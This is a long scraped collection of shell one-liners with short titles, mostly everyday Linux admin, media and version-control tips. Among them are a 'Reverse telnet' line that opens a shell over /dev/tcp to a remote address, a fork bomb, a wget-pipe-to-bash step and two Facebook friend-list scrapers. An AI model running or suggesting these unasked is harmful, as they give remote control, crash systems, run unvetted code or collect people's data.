Remove color codes (special characters) with sed
<ctrl+a>
Python version to a file
echo "$(python -V 2>&1)" > file
List all files fred* unless in a junk directory
ls **/fred*~*junk*/*
A quick shell command to weed out the small wallpapers
for i in ~/Desktop/Personal/Wallpapers/*.jpg ; { size=$((`identify -format "%wx%h" $i | sed 's/x/*/'`)) ; if [[ $size -lt 800001 ]] then ; rm -f "$i" ; fi; }
remote backups with rsync
rsync --delete -az -e 'ssh -c blowfish -i /your/.ssh/backup_key -ax' /path/to/backup remote-host:/dest/path/
geolocalize ip country
while read line; do pais=$(whois "$line" | grep -E '[Cc]ountry') echo -n "IP=$line Pais=$pais" && echo done <listaip
Track progress of long-running text-command using graphical dialog
(pv -n long_running > output) 2>&1 | zenity --progress
Enable tab completion for known SSH hosts
complete -W "$(sed 's/;.*//;' /etc/hosts | awk ' /^[[:digit:]]/ {$1 = "";print tolower($0)}')" ssh
Put uuid of disk into variable
TEST_UUID=$(blkid /dev/sda6 | sed -rn "s/^.*UUID=\"([a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12})\".*/\1/p")
Get your external public IP address
curl icanhazip.com
recursively add all new PHP files in a folder to SVN
for FILE in $(svn status | grep ? | grep .php); do svn add $FILE; done
Get the IP address
ifconfig | grep "inet" | grep "broadcast" | awk '{print $2}'
Find latest file in a directory
ls -rt | tail -n 1
Display holidays in UK/England for December/2012 and January/2013 (with week numbers)
gcal -K -q GB_EN December/2012-January/2013 !!! Example "Holidays for Dec/2012 and Jan/2013 with week numbers
read ajp13 packet contents on terminal using tshark 1.4.15
tshark -r *.eth -S -R "ajp13" -d tcp.port==9009,ajp13 -s 0 -l -V | awk '/Apache JServ/ {p=1} /^ *$/ {p=0;printf "\n"} (p){printf "%s\n", $0} /^(Frame|Internet Pro|Transmission Control)/ {print $0}'
cut log with row number,like from row number to another row number.
cat -n install | head -n 150 | tac | head -n 50 | tac
Uptime in minute
uptime | awk -F ',' ' {print $1" "$2}'|awk ' {print $3" "$4" "$5}' | sed '1,$s/:/ /' | awk ' {if ($4 =="user") print $1*60 + $2;else if ($2=="mins") print $1;else print $1*24*60 + $2*60 + $3}'
A simple command to toggle mute with pulseaudio (sink 0)
pactl list sinks | grep -q Mute:.no && pactl set-sink-mute 0 1 || pactl set-sink-mute 0 0
Random Number Between 1 And X
(od -An -t u8 -N8 </dev/urandom; echo X '* 2 64^/1+p') | dc
Run a script every time that script is saved (great for script development)
fswatch -o my-script.sh | xargs -n1 ./my-script.sh
Files modified today
ls *(m-1)
Sort a character string
echo sortmeplease|sed 's/./&\n/g'|sort|tr -d '\n'
Send a local file via email
cat filename | uuencode filename | mail -s "Email subject" user@example.com
Instant editing screenshot with Gimp
sleep 4; F="$(tempfile -s '.xwd')"; xwd > "$F" ; gimp "$F"
Shows how many percents of all avaliable packages are installed in your gentoo system
echo $(echo 'scale=2; ' '100 * ' $(eix --only-names -I | wc -l) / $(eix --only-names | wc -l) | bc -l)%
Console clock
watch -n 1 :
Convert high resolution JPEG for web publication
convert /home/user/file.jpg -resize 800x533 -strip -quality 80 -interlace line /home/user/web_file.jpg
grep directory and sub-directories
grep -r <searchterm> .
Replaces spaces in filename with _ and converts upper to lower case
for file in * ; do mv "$file" `echo "$file" | tr ' ' '_' | tr '[A-Z]' '[a-z]'`; done
Get the IP address
ifconfig | grep "inet" | tail -1 | awk '{print $2}'
Get Current CPU Usage
top -n2 -d 0.5 | grep ^Cpu | sed 's/[[:alpha:]%]*//g' | awk 'NR == 2 {printf("%.2f\n",100-$5)}'
Open all files with a regular expression in vim
vim $(grep [REGULAR_EXPRESSION] -R * | cut -d":" -f1 | uniq)
cut log from line 50 to line 88
cat -n install.log | head -88 | tac | head -n $(( 88 - 50 )) | tac
List all symbolic links in current directory
$ ls -1F | grep @ | sed 's/@//' | column
Get all URL With Extension from File
cat File.txt | grep -io 'http://www.acme.com/a/files/.*.pdf'| uniq
Sort the size usage of a directory tree
du --max-depth=1 -h --apparent-size | sort -rh
Find the largest C/C++ source files in all subdirectories
find . -name '*.c*' -o -name '*.h' -exec wc -l {} \; | sort -n | tail
get all the IP addresses currently blocked by UFW (uncomplicated firewall)
ufw status | sort | uniq | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}"
Find files and play them as a playing list in mpv
find . -type f \( -name "*.mp3" -o -name "*.ogg" \) | mpv --shuffle --audio-display=no --playlist -
Parse tektronic csv files
awk 'BEGIN {FS=","} {loc = $4, val=$5; getline < "f0001ch1.csv"; print loc,val,$5}' f0001ch2.csv > data
Apply all pending updates to Mandriva Linux system (2008.0 and newer).
urpmi --auto-update --force !!! Example "apply all pending updates (Mandriva Linux)
Extract URL from SVN working copy
function svnurl() { svn info $1 | egrep '^URL: (.*)' | sed s/URL\:\ //; }
Length of longest line of code
perl -ne '$w = length if (length > $w); END {print "$w\n"}' *.cpp
compile source & then remove the dev tools you needed to install
dpkg-query -l > 1.lst; sudo apt-get install -y build-essential; ./configure; make; sudo checkinstall -D make install; dpkg-query --list > 2.lst; diff 1.lst 2.lst | grep '^>' | awk '{print $3}' | xargs sudo apt-get remove -y --purge
A child process which survives the parent's death (Zsh version)
command &!
Add all unversioned files to svn
svn add *
Monitor specific process (ie apache) using Top
top -p `pidof apache2 | awk '{gsub(/[ ]/,",");print}'`
Grep all your PDFs in a row
find -iname \*.pdf -print0 | xargs -0 pdfgrep -i "my search text"
the system will display device manager command line utility, cte.
commandlinefu.com - questions/comments: danstools00@gmail.com
tcptraceroute alternative for udp packets
sudo hping3 -TV --tr-stop -n -2 -p 53 ns1.server.tld
Dumping Audio stream from flv (using ffmpeg)
ffmpeg -i input.flv -aq 2 output.mp3
to make any command run even if sytem gets shut down
nohup df -k | sort -rn 12
running command directly, skip alias or function which has the same name
\<command>
Extract infomation form pcap
tshark -r data.pcap -zio,phs
Use xdg-mime to set your default web browser
xdg-mime default firefox.desktop x-scheme-handler/http
Show list of packages that depend upon 'packagename'
repoquery --whatrequires --installed --recursive packagename
Convert DOS newlines (CR/LF) to Unix format
tr -d '\r' < <input> > <output>
Use lftp to multi-threaded download files from websites
lftp -c "pget -n 10 http://example.com/foo.bar"
UNIX/ WAS related commands
nmon -f -T -^ -s 15 -c 12
Display a numbered list of 50 biggets files sorted by size (human readable)
du -ah | sort -hr | head -n50 | cat -n
find svn uncommitted files and list their properties
svn status | awk -F" " '{ for (i=2; i<=NF; i++) print "ls -ld \""$i"\""}' | sh
LIst symbolic links in a directory
find . -maxdepth 1 -type l -ls
Print dmesg periodically
watch -n 0.1 \"dmesg | tail -n \$((LINES-6))\"
Filter ltab file based on minor allele count
awk '{counts = 137 * $3 *$6; line = $0;}$1 == "CHROM" ||$4 < max_het && $3 > min_cov && $7 == "0" && counts > 1.1 {print line}' file.ltab |cut -f 1,2,9- > file.filtered.tab
sort of automaticly install gems that are depend
gem install `ruby ./isuckat_ruby.rb 2>&1 | sed -e 's/.*find gem .//g' -e 's/ .*//g' | head -n 1`
make non-printable characters visible
cat -A
Use heading subtitle file as watermark using mencoder
mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mjpeg -vf scale=320:-2,expand=:240:::1 -o output.avi input.flv
google search
perl -e '$i=0;while($i<10){open(WGET,qq/|xargs lynx -dump/);printf WGET qq{http://www.google.com/search?q=site:g33kinfo.com&hl=en&start=$i&sa=N},$i+=10}'|grep '\/\/g33kinfo.com\/'
Calculate N!
dc -e '10 [q]sq[dd1=q1-lxx*]dsxxp'
Print all connections of a source IP address in pcap
tshark -r data.pcap -R "ip.src==192.168.1.2" -T fields -e "ip.dst" |sort |uniq -c
grep directory and sub-directories
rgrep <searchterm> *
Recursively remove .svn directories
find . -iname ".svn" | xargs rm -r $1
Encrypt directory with GnuPG and tar
tar zcf - foo | gpg -c --cipher-algo aes256 -o foo.tgz.gpg
Prints total line count contribution per user for an SVN repository
svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{count[$2]++}END{for(j in count) print count[j] "\t" j}' | sort -rn
Find Largest files of mount point
find /logs -ls -xdev | sort -nrk 7 | head -10
Display a numbered list of files bigger than 500K, sorted by size (human readable)
find ./ -type f -size +500k -exec ls -1Ash {} \; | sort -hr | cat -n
Returns the Windows file details for any file using Cygwin bash (actual r-click-properties-info) to the term
finfo() { [[ -f "$(cygpath "$@")" ]] || { echo "bad-file";return 1;}; echo "$(wmic datafile where name=\""$(echo "$(cygpath -wa "$@")"|sed 's/\\/\\\\/g')"\" get /value)"|sed 's/\r//g;s/^M$//;/^$/d'|awk -F"=" '{print $1"=""\033[1m"$2"\033[0m"}';}
Run bash script from web
wget -q -O - http://www.example.com/automation/remotescript.sh | bash /dev/stdin parameter1 parameter2
Pretty Print a simple csv in the command line
column -s, -t < somefile.csv | less -#2 -N -S
Create some random sounds
python -c "import os; print([i * bytearray(os.urandom(10)) for i in bytearray(os.urandom(10000))])" | padsp tee /dev/audio > /dev/null
Get your internal IP address and nothing but your internal IP address
ifconfig eth0 | sed -n 's/.*inet addr:\([0-9\.]*\).*/\1/p'
Two command output
lsof -i :80 | tee /dev/stderr | wc -l
Simple calculator
while true; do read i; echo $[$i]; done
Provides external IP, Country and City in a formated manner.
geoip () { curl -s "http://www.geoiptool.com/?IP=$1" | html2text | egrep --color 'City:|IP Address:|Country:' }
Command to show battery power status
webattery
Re-run [re-edited] sequence of commands in vim history
In vim: q: && v[cursor movement]y && [paste/edit/save to /tmp/tmp.vim] && move to window to modify && :so /tmp/tmp.vim
Generate a unique MAC address from an IP Address
echo 00:16:3e$(gethostip 10.1.2.11 | awk '{ print tolower(substr($3,3)) }' |sed 's/.\{2\}/:&/g' )
Boot from a block device without giving root privilege to Virtual Box
VBoxBlockBoot() { sudo umount "$2"*; sudo chmod 777 "$2"; VBoxManage storageattach "$1" --medium ~/.rawHD4VB_`basename "$2"`.vmdk --type hdd --storagectl "IDE Controller" --device 0 --port 0 ; VBoxManage startvm "$1";}
Print out buddy name (aim) which has been capture in pcap
tshark -r data.pcap -R "ip.addr==192.168.1.2 && ip.addr==64.12.24.50 && aim" -d tcp.port==443,aim -T fields -e "aim.buddyname" |sort |uniq -c
Display a list of local shell scripts soft-linked to /usr/local/bin
for AAA in $(find /usr/local/bin -type l); do ls -gG "${AAA}"; done
See what a cassandra node is streaming
watch -d 'echo -e "Remaining: `(nodetool netstats | grep " 0%" | wc -l)` \nCurrent: `(nodetool netstats | grep "%" | grep -v " 0%")`"'
Append html-extension to all files in a directory structure that contains html-code.
find . |xargs grep '<html\|<body\|<table' |sed '/~/d;s/:.*//' |sed 's/.*/mv & &.html/' |uniq >run.sh; sh run.sh
Copy ssh keys to user@host to enable password-less ssh logins with permissions alignment.
cat ~/.ssh/id_rsa.pub | ssh user@hostname 'cat >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys && chmod 700 ~/.ssh && echo "Host key copied"'
Calculate Duration Of Files In Directory
exiftool * | grep '^Duration' | sed 's/^.*[[:space:]]\([0-9]*:[0-9]*:[0-9]*\).*$/\1/g' | awk -F':' '{ H+=$1;M+=$2;S+=$3 } END { printf "%d:%d:%d\n", int(H+int(M/60)),int(M+S/60)%60,S%60 }'
Get the hash of a PEM cert file
openssl x509 -hash -noout in cert.pem
set time
timedatectl set-time 'YYYY-MM-DD HH:MM:SS' && hwclock --systohc
Automatically update all the installed python packages
pip freeze --local | awk -F "=" '{print "pip install -U "$1}' | sh
Edit all files found having a specific string found by grep
grep -ir 'foo' * | awk '{print $1}' | sed -e 's/://' | xargs vim
Learn how to stop mistyping "ls" the fun way
apt-get install sl; sl
What happened on this day in history?
firefox http://en.wikipedia.org/wiki/$(date +'%b_%d')
Edit all different files from 2 directories with gvim in difference mode (gvim -d)
LC_ALL=C diff -q dir1 dir2 | grep differ | awk '{ print $2, $4 }' | xargs -n 2 gvim --nofork -d
Change file time stamp
touch -t [[CC]AA]MMJJhhmm[.ss]
backup your history
gzip -c ~/.bash_history > ~/.backup/history-save-$(date +\%d-\%m-\%y-\%T).gz
To recycle the JVM from application server, steps are as follows:-
su - wsadmin
countdown from 10 …
clear; tput cup 8 8; for i in $(seq 1 10); do echo -n "$((11-$i)) ";sleep 1; done; tput cup 10 8; echo -e "DONE\n\n"
Sequentially repair multiple cassandra nodes at once
for s in 172.16.{1,2}2.9{0,1,2}; do echo "Repairing node $s..."; nodetool -h $s repair -pr; done
VI regex for searching non-ascii characters in hexdump -C output file
/^........ \([0-7a-f][0-9a-f] *\)*[89a-f][0-9a-f]
check repos list for fastest ping
cat repos.txt | while read line; do echo $line | cut -d"/" -f 3 | fping -e ;done
Removes file with a dash in the beginning of the name
rm ./--this_file.txt
See memory usage precentage
cat /proc/meminfo | awk -v"RS=~" '{print "Total:", $2/1024000, "GiB","|","In Use:",100-$5/$2*100"%"}'
File count into directories
rsync --stats --dry-run -ax /home/myself/ /tmp
get function's source
source_print(){ set | sed -n "/^$1/,/^}$/p"; };
count processes with status
ps -eo stat= | sort | uniq -c | sort -n
create 4 RTP streams (H264/AAC) from a single source with a single ffmpeg instance…
ffmpeg -i $src -an -vcodec [...details in description...] rtp rtp://$dstIP:$dstAudioPort4 -newaudio
Capture all tcp and udp packets in LAN, except packets coming to localhost (192.168.1.2)
sudo tcpdump -n -i eth0 -w data.pcap -v tcp or udp and 'not host 192.168.1.2'
kill all running instances of wine and programs runned by it (exe)
wineserver -k; killall -9 wine wineserver; for i in `ps ax|egrep "*\.exe"|grep -v 'egrep'|awk '{print $1 }'`;do kill -9 $i;done
This will kill all ssh connections from a given host it does give some errors but it does work
lsof -i tcp:22 | grep 192.168.10.10 | awk "{print $2}" |xargs kill
search and replace in multiple files
find . -name "*.php" -print | xargs sed -i 's/foo/bar/g'
convert finenames containing a numeric index from differing to fixed index-length; padding required zeroes in front of first number
export l=$1; shift; rename 'my $l=$ENV{'l'}; my $z="0" x $l; s/\d+/substr("$z$&",-$l,$l)/e' "$@"
Authenticate Windows user account through winbind
wbinfo -a username%password
Define a quick calculator function
alias ?=concalc
Convert from unixtime in millisecond
echo 1395767373016 | gawk '{print strftime("%c", ( $0 + 500 ) / 1000 )}'
mac address change
sudo ifconfig mlan0 down; sudo ifconfig mlan0 hw ether 00:10:10:10:08:88; sudo ifconfig mlan0 up;
Show Firefox Addons
jshon -e addons -a -e defaultLocale -e name -u < ~/.mozilla/firefox/*.[dD]efault/extensions.json
Get the read/write/execute permissions of a file
stat --format=%A foo.txt
better forkbomb (DO NOT USE)
:(){ :|:& }&:
Retrieve a download count for URLs in apache logs
zgrep 'pattern' /var/logs/apache2/access.log* | awk '{print $7}' | sort -n | uniq -c | sort -rn
Automatically update all the installed python packages
pip freeze --local | awk -F= '{print "pip install -U "$1}' | sh
Determines latest pdf file downloaded by firefox in ~/Downloads directory
ls -tr ~/Downloads/*.pdf|tail -1
Show all occurences of STRING with filename and line number for given FILE pattern under the DIR.
find DIR -name "FILE" -exec grep -IHn STRING {} \;
Get all IPs via ifconfig
ipconfig getpacket en0 | grep yi| sed s."yiaddr = "."en0: ". ipconfig getpacket en1 | grep yi| sed s."yiaddr = "."en1: ".
Edit all files found having a specific string found by grep
grep -ir 'foo' * | awk -F '{print $1}' | xargs vim
system beep off
setterm -bfreq 0
Wait for an already launched program to stop before starting a new command.
wait
record audio and use sox to eliminate silence. Results an ogg file that only contains the audio signal exceeding -45dB
rec -r 44100 -p | sox -p "audio_name-$(date '+%Y-%m-%d').ogg" silence -l 1 00:00:00.5 -45d -1 00:00:00.5 -45d
progress bar for cp
while [$((or_sz=$(stat -c %s "$1"))) -gt $((ds_sz=$(stat -c %s "$2")))];do ((pct=(69*$ds_sz)/$or_sz));echo -en "\r[";for ((i=1;i<=pct;i++));do echo -n "=";done;echo -n \>;for ((i=pct;i<=68;i++));do echo -n ".";done;echo -n "] $(((100*$pct)/69))%";done
Read manpages without the man(1) command
zcat /usr/share/man/man1/man.1.gz | nroff -man | less
neat diff of remote files owned by root on different systems
diff -u <(ssh -t user@host1 sudo cat /dir1/file1) <(ssh -t user@host2 sudo cat /dir2/file2)
Get eth0 ip
A=$(ip addr show dev eth0); A=${A##*inet }; echo ${A%%/*}
Dump a MySQL-Database to another Database
mysqldump --force -uUSER -pPASS PRODUCTION_DB | mysql -uUSER -pPASS COPY_DB
Generate a random password
xxd -l 20 -c 20 -p /dev/urandom
Create a new gpt disk as all one partition, with a lvm using parted
parted -s /dev/sdb mklabel gpt mkpart -a optimal primary 1 100% set 1 lvm on
Get your Speed Dial urls
sed -n '/url/s#^.*url=\(.*://.*\)#\1#p' ~/.mozilla/firefox/*.[dD]efault/SDBackups/*.speeddial | sort | uniq
Audio processing from low quality to hear quality with sox
ffmpeg -loglevel 0 -y -i audio.mp3 -f sox - | sox -p -V -S -b24 -t audio.flac gain -3 rate -va 7056000 rate -v 48k
File count into directories
find . -type f | xargs wc -l
Download all default installed apk files from your android.
for i in $(adb shell pm list packages | awk -F':' '{print $2}'); do adb pull "$(adb shell pm path $i | awk -F':' '{print $2}')"; mv *.apk $i.apk 2&> /dev/null ;done
Move windows in GNU screen
sending message to a logined user of group
write user anytext
Simple countdown from a given date
watch --no-title -d -n 1 'echo `date -d "next Thursday" +%s` "-" `date +%s` | bc -l'
find/edit your forgotten buddy pounces for pidgin
vim ~/.purple/pounces.xml
Tail the most recently modified file
ls -t1 | head -n1 | xargs tail -f
Find all files over a set size and displays accordingly
find / -type f -size +512000 | xargs ls -lh | awk '{ print $5 " " $6$7 ": " $9 }'
ps for windows
wmic process list IO
Hello world
pi 62999 | tr 0-9 del\ l\!owrH
generate random string
python -c 'import string, random; print "".join(random.choice(string.letters+string.digits) for x in range(6))'
list all users with UID bigger than 999 in /etc/passwd
awk -F: '$3 > 999 { print $1 }' /etc/passwd
Nice way to view source code
show_code() { pygmentize $1 | less -N }
Change owner ship of files from 1003 to android under current directory recursively. 1003/android could be customized.
find . | while read line; do test `stat -c %u $line` -eq 1003 && chown android:android $line && echo $line; done
Watch your websites php
watch -d=c -n3 'lsof -itcp -iudp -c php'
Getting OpenPGP keys for Launchpad PPAs on Debian based systems from behind a firewall
sudo apt-key adv --keyserver hkp://keys.gnupg.net:80 --recv-keys [key to get here]
Remove permissions from directory or file
icacls directory_or_file /remove:g group_or_user
Batch Convert SVG to PNG
for i in *.svg; do convert "$i" "${i%.svg}.png" & done
Re-encode all flac files below
find . -type f -iname '*.flac' | while read i; do mv -- "$i" "$i.tmp"; gst-launch filesrc location="$i.tmp" ! flacdec ! flacenc quality=8 ! filesink location="${i%.tmp}"; rm -- "$i.tmp"; done
List fonts used by an SVG file
grep 'font-family:[^;]*' <input file.svg> | sed 's/.*font-family:\([^;]*\).*/\1/g' | sort | uniq
dd copy from sdX to sdY with progressbar
apt-get install pv -y && pv -tpreb /dev/sdX | dd of=/dev/sdY bs=64M
aria2c to speedtest connection
aria2c -s16 -j16 -x16 -k1M -d /dev -o null --file-allocation=none --allow-overwrite=true <url>
easily strace all your apache processes
ps auxw | awk '/(apache|httpd)/{print"strace -F -p " $2}' | sh
Show all files sorted by date
FINDDATE() { LOCATION="${1:-.}"; find ${LOCATION} -type f -print0 | xargs -0 stat -c "%y %n" | sort | sed 's/.\([0-9]\)\{9,\} +0[1-2]00/\t/' | sed 's/ /\t/g' }
Autocomplete directories (CWDs) of other ZSH processes (MacOS version)
function _xterm_cwds() { for pid in $(pgrep -x zsh); do reply+=$(lsof -p $pid | grep cwd | awk '{print $9}') done }; function xcd() { cd $1 }; compctl -K _xterm_cwds xcd
Given NOPASSWD privileges on a remote SSH server, sftp as root via sudo
sftp -s "sudo /usr/lib/sftp-server" user@host
List all text files (exclude binary files)
find . | xargs file | grep ".*: .* text" | sed "s;\(.*\): .* text.*;\1;"
Get decimal ascii code from character
ord () { seq 1 127 | while read i; do echo `chr $i` $i; done | grep "^$1 " | cut -c '3-' }
Clean up formatting of a perl script
perltidy foo.pl
For finding out if something is listening on a port and if so what the daemon is.
lsof -i :[port number]
Create cheap and easy index.html file
F=index.html; for i in *; do [[ $i = $F ]] && continue; echo "<li><a href='$i'>$i</a>"; done >$F
Print a list of installed Perl modules
perl -MExtUtils::Installed -E 'say for ExtUtils::Installed->new()->modules()'
Transform an XML document with an XSL stylesheet
xsltproc --stringparam name value <xsl_stylesheet> <xml_document>
Random music player
FILE='mp3.list';LNNO=`wc -l $FILE|cut -d' ' -f 1`;LIST=( `cat $FILE` );for((;;)) do SEED=$((RANDOM % $LNNO));RNNO=$(python -c "print int('`openssl rand -rand ${LIST[$SEED]} 8 -hex 2>/dev/null`', 16) % $LNNO");mplayer ${LIST[$RNNO]};sleep 2s; done
Grant read/write permissions to user or group
icacls directory_or_file /grant user_or_group:(oi)(ci)(m,dc)
Redirect CUPS port to localhost
putty -L 631:localhost:631 username@server
Parse logs for IP addresses and how many hits from each IP
awk '/text to grep/{print \$1}' logs... | sort -n | uniq -c | sort -rn | head -n 100
Search and replace pipes for tabs in file with backup
sed -i.bak -e s/\|/\\t/g filepath.tsv
Convert an mp3 and add to it a img
lame -v 2 -b 192 --ti /path/to/file.jpg audio.mp3 new-audio.mp3
automatically generate the ip/hostname entry for the /etc/hosts in the current system
echo "$(ip addr show dev $(ip r | grep -oP 'default.*dev \K\S*') | grep -oP '(?<=inet )[^/]*(?=/)') $(hostname -f) $(hostname -s)"
Display list of locked AFS volumes (if any)
vos listvldb | agrep LOCKED -d RWrite | grep RWrite: | awk -F: '{print $2}' | awk '{printf("%s ",$1)} END {printf("\n")}'
Insert line number in vim
:%s/^/\=line('.').' '
Function to output an ASCII character given its decimal equivalent
chr () { echo -en "\0$(printf %x $1)"}
List only files in long format.
ls -l | grep ^-
What happened on this day in history?
www-browser http://en.wikipedia.org/wiki/$(date +'%b_%d')
See how many more processes are allowed, awesome!
echo $(($(ulimit -u)-$(pgrep -u $USER|wc -l))
convert unixtime to human-readable
perl -le 'print scalar gmtime shift' 1234567890
Function that show the full path of every argument.
full() {local i;for i in $*;do readlink -f $i;done}
bash/ksh function: given a file, cd to the directory it lives
function cdf () { [ -f $1 ] && { cd $(dirname $1); } || { cd $1 ; }; pwd; };
Threads and processes of a user
ps -eLF | grep ^user
Forgot to use pv or rsync
watch ls -lh /path/to/folder
Send notification bubbles to the computers remotely.
ssh -X user@host 'DISPLAY=:0 notify-send "TEST MESSAGE."'
Disk usage summary
echo $(df -BG | grep sd | awk '{print $3}' | paste -sd+ | tr -d G | bc) GiB used in total
Go get those photos from a Picasa album
echo 'Enter Picasa album RSS URL:"; read -e feedurl; GET "$feedurl" |sed 's/</\n</g' | grep media:content |sed 's/.*url='"'"'\([^'"'"']*\)'"'"'.*$/\1/' > wgetlist
list files/directories in current directory – sorted by file size in MB
sudo du -sm * | sort -n
Archive tar.gz archives all files (with extension filter) individually from an location
find ./ -iname "*.dmp" -maxdepth 0 -type f -exec tar czvf {}.tar.gz --remove-files {} \; \;
Encrypt text to md5
wget -qO - --post-data "data[Row][clear]=text" http://md5-encryption.com | grep -A1 "Md5 encrypted state" | tail -n1 | cut -d '"' -f3 | sed 's/>//g; s/<\/b//g'
clean up syntax and de-obfuscate perl script
perl -MO=Deparse filename.pl | perltidy > new.pl
Print to standard output file paths different between SRC and DEST and replacing terms if needed
groovy -e "def output=args[0]; def terms = args[1].split(','); terms.each { it -> def keyValues = it.split(':'); output = output.replaceAll(keyValues[0],keyValues[1]); } println output;" "`diff -rq . SRC DEST`" "old1:new1,old2:new2"
count line of code
cloc --force-lang=yaml --match-f='\.url$' .
get mysql full processlist from commadline
watch 'mysql -e "show full processlist;"'
Search for a string inside all files below current directory
find . -type f -exec grep -Hn <pattern> {} \;
Create cookies to log in to website
curl -L -d "uid=<username>&pwd=<password>" http://www.example.com -c cookies.txt
Show numerical values for each of the 256 colors in bash for bold and normal fonts
for code in $(seq -w 0 255); do for attr in 0 1; do printf "%s-%03s %bTest%b\n" "${attr}" "${code}" "\e[${attr};38;05;${code}m" "\e[m"; done; done | column -c $((COLUMNS*2))
Ensure path permissions from '.' prior to root
pwd|grep -o '/'|perl -ne '$x.="./.";print`readlink -f $x`'|xargs -tn1 chmod 755
Print out the contents of a Git repository (useful for broken repositories)
find .git/objects -type f -printf "%P\n" | sed s,/,, | while read object; do echo "=== $obj $(git cat-file -t $object) ==="; git cat-file -p $object; done
Show total cumulative memory usage of a process that spawns multiple instances of itself
ps -eo pmem,comm | grep chrome | cut -d " " -f 2 | paste -sd+ | bc
show filenames in tail output with color
tail -f *.log | grep --color=always '|==>.+<=='
Remove spaces
command | awk '{gsub(" ", "", $0); print}'
Print file excluding comments and blank lines
egrep -v '^$|^#' /etc/sysctl.conf
Update obsolete CVS Root files
find cvsdir -name Root -exec sed -i 's/oldserver/newserver/' {} \;
Remove/replace newline characters.
sed ':a;N;$!ba;s/\n/ /g'
Create a symbolic link tree that shadows a directory structure
find /home/user/doc/ -type d -printf "mkdir -vp '/home/user/Dropbox%p'\n" -o -type f -printf "ln -vs '%p' '/home/user/Dropbox%p'\n" | sh
Record Alexa Traffic Stats of your Website
x=1 ; while [ $x -le 10 ] ; do lynx -dump http://www.alexa.com/siteinfo/http://[YOUR WEBSITE] | grep Global | sed 's/ \|Global\|\,//g' >> /var/log/alexa-stats.txt ; sleep 5h ; done &
Get first Git commit hash
git log --format=%H | tail -1
Find which service was used by which port number
cat /etc/services | egrep [[:blank:]]<port_number>/
recursive command to find out all directories
find $DIR -exec bash method {} ";"
Display GCC Predefined Macros
echo | gcc -dM -E -
Use binary notation to chmod a file.
function right { bc <<< "obase=8;ibase=2;$1"; }; touch foo; chmod $(right 111111011) foo; ls -l foo
Export log to html file
x="/tmp/auth.html";sudo cat /var/log/auth.log | logtool -o HTML >$x;xdg-open $x;rm $x
Burn a simple DVD-Video without menu using any given video file
avconv -i input.avi -target pal-dvd dvd.mpg && echo PAL > ~/.config/video_format && dvdauthor -o dvd/ -t dvd.mpg && dvdauthor -o dvd/ -T && growisofs -Z /dev/dvd -dvd-video dvd/
launch bash without using any letters
${0##-}
run all
find /var/scripts -name 'backup*' -exec {} ';'
scan folder to check syntax error in php files
find . -name "*.php" -exec php -l {} \; | grep found
underscore to camelCase
echo to_camel_case__variable | sed -r 's/(.)_+(.)/\1\U\2/g;s/^[a-z]/\U&/'
Enter/attach any namespace/container, regardless of being Docker/LXC/Systemd…
sudo nsenter -i <pid-of-process-in-that-namespace> -u -p -i -n -m /bin/bash
Making a directory using bash or cmd
mkdir <dir name>
List memory percentage per user
ps aux | awk '{arr[$1]+=$4}; END {for (i in arr) {print i,arr[i]}}' | sort -hk2 | tail -10
Show some details of recent Leopard Time Machine activity - shell: bash, Mac OSX 10.5
syslog -F '$Time $Message' -k Sender /System/Library/CoreServices/backupd -k Time ge -72h | tail -n 30
Clean up after improper deletes in subversion
svn rm `svn status | grep "\!" | cut -c 8-`
Find which service was used by which port number
grep '\<110/' /etc/services; grep '\b110/' /etc/services
Autorotate a directory of JPEG images from a digital camera
jhead -autorot *
solaris: get current date + 72 hours
TZ=$TZ-72 date +%d.%m.%Y
Check if a machine is online
ping1 IPaddr_or_hostname
Short log format of Subversion history
svnll(){svn log "$@"|( read; while true; do read h||break; read; m=""; while read l; do echo "$l" | grep -q '^[-]\+$'&&break; [ -z "$m" ] && m=$l; done; echo "$h % $m" | sed 's#\(.*\) | \(.*\) | \([-0-9 :]\{16\}\).* % \(.*\)#\1 \2 (\3) \4#'; done)}
Make a repeating patterned wallpaper from any image
goWall() { if [ $!!! Example "-ne 1 ]; then echo 'goWall image';return;fi;w=w.jpg;o="$1";f="$1"-f;of="$1"-af;off="$1"-aff;convert "$1" -flop $f;montage -geometry +0+0 -tile 2x "$1" $f $of;convert $of -flip $off;montage -geometry +0+0 -tile 1x $of $off $w }
face are
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=100000475200812&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
Find out which driver is in use
jockey-text -l
Force spin-down of external hard-drive
hdparm -y /dev/sda
grc tail -f
grcat conf.ps < /var/log/apache2/error.log | tail -f
Reverse telnet
exec 3<>/dev/tcp/192.168.18.13/8080; exec <&3 2>&3 1>&3
total text files in current dir
file -i * | grep 'text/plain' | wc -l
Easily decode unix-time (funtion)
utime(){ awk -v d=$1 'BEGIN{print strftime("%a %b %d %H:%M:%S %Y", d)}'; }
Kill process by searching something from 'ps' command
pkill <process name>
Take a screenshot of the screen, upload it to ompldr.org and put link to the clipboard and to the screenshots.log (with a date stamp) in a home directory.
scrot $1 /tmp/screenshot.png && curl -s -F file1=@/tmp/screenshot.png -F submit="OMPLOAD\!" http://ompldr.org/upload | egrep '(View file: <a href="v([A-Za-z0-9+\/]+)">)' | sed 's/^.*\(http:\/\/.*\)<.*$/\1/' | xsel -b -i ? (full in a sample output)
Make webcam video
ffmpeg -f video4linux2 -s 320x240 -i /dev/video0 -f alsa -ac 1 -i default -f mp4 Filename.mp4
Get Public IP Address from command line
echo `wget -q -O - http://www.whatismyip.org`
remove OSX resource forks ._ files
find . -name ._\* -exec rm -f {} \;
List down source files which include another source file
find . -type f \( -name '*.c' -o -name '*.cpp' -o -name '*.cc' -o -name '*.cxx' \) | xargs grep "#include.*\.c.*" 2>&1 | tee source_inside_source_list.txt
fb1
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
Set the standby time of a hard drive
hdparm -S5 /dev/sda
Compress a PDF to reduce its size
